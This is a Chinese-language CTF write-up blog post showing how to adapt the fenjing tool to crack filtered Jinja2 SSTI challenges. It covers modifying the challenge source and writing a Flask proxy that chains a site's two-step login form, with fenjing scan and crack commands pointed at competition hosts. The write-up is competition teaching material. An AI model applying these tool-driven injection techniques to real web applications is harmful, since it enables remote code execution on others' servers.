从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI

2025-01-27 8 0

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI

前言

最近俩月比赛遇到了三个jinjia2_SSTI题目,发现其虽然有过滤,但是fenjing都可以对其过滤进行降维打击。可问题是fenjing不一定就能用得上,需要一些改造思路,下面我就结合这三次比赛带大家体会一下。
从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图

初级用法:一把梭

春秋冬季赛day1:

非常简单梭哈即可,具体工具用法直接去看:https://github.com/Marven11/Fenjing

fenjing scan -u "http://47.94.155.240:28672/"

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图1

如何进阶?

我们的思路就是二开或代理,其分别对应有源码情况以及无源码情况;

注意:二开不是二开工具是二开题目,代理即帮助fenjing进行交互。

有源码:国赛

题目来自于第十八届全国大学生信息安全竞赛 (创新实践能力赛)暨第二届“长城杯” 铁人三项赛(防护赛)初赛 Safe_Proxy

这个题其实是无回显不出网有过滤的SSTI,但是有源码

于是我们稍微改一下就变成了有回显不出网有过滤的SSTI

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图2

然后本地跑起来,fenjing一把锁得到payload,最后去打题目环境即可

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图3

记得编码一下

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图4

得到flag

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图5

无源码:西湖论剑

题目来自于前两天的2025西湖论剑

前面没有截图简单说一下这个题目:

就是第一个页面/login让你输入手机号phone_number=a,点击提交

然后跳转第二个页面/cpass让你输入密码password=123456,再提交

最后弹窗说"a不满足手机号格式"

显然,注入点SSTI在phone_number,但是我们无法直接进行利用,原因在于无法把两次交互都放在fenjing上

那么我们的思路也就有了:

写一个本地python代理程序,访问localhost POST传入phone_number=&password=
而这个程序帮我分别访问http://139.155.126.78:21317/login POST传入phone_number
和http://139.155.126.78:21317/cpass POST传入password=12345678
注意: http://139.155.126.78:21317/login会返回一些状态信息以保证与http://139.155.126.78:21317/cpass 对应

那么写一个本地源码:

from flask import Flask, request, Response
import requests

app = Flask(__name__)
BASE_URL = "http://139.155.126.78:21317"
@app.route('/', methods=['POST'])
def proxy():
    phone_number = request.form.get('phone_number')
    password = request.form.get('password')
    if not phone_number or not password:
        return Response("Missing required parameters (phone_number and password)", status=400)

    try:
        login_response = requests.post(
            f"{BASE_URL}/login",
            data={"phone_number": phone_number}, 
            timeout=10 
        )

        if login_response.status_code != 200:
            return Response(f"Failed to call /login. Status code: {login_response.status_code}", status=500)

        login_status = login_response.text.strip()

        cpass_response = requests.post(
            f"{BASE_URL}/cpass",
            data={"password": password, "login_status": login_status},
            timeout=10
        )

        if cpass_response.status_code != 200:
            return Response(f"Failed to call /cpass. Status code: {cpass_response.status_code}", status=500)

        cpass_result = cpass_response.text.strip()

        response_data = f"Login response: {login_status}\nCpass response: {cpass_result}"
        return Response(response_data, status=200)

    except Exception as e:
        return Response(f"An error occurred: {str(e)}", status=500)

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=5000)

然后fenjing梭哈

fenjing crack -u "http://127.0.0.1:5000/" -i phone_number

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图6

拿到payload:

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图7

还有flag

从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI插图8


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

xss总结
浅谈蜜罐原理与规避
[Meachines] [Easy] Alert XSS-Fetch网页源码提取+CSRF+AlertShot-htb+Apache2 .htpass…
[Meachines] [Easy] LinkVortex Git leakage+Ghost 5.58+Double Link Bypass权限提升
[Meachines] [Easy] Writeup CMS Made Simple SQLI+Staff组路径劫持权限提升
[Meachines] [Easy] Access FTP匿名登录+mdb文件解析+Outlook PST提取+Runas权限提升+DPAPI滥用(M…

发布评论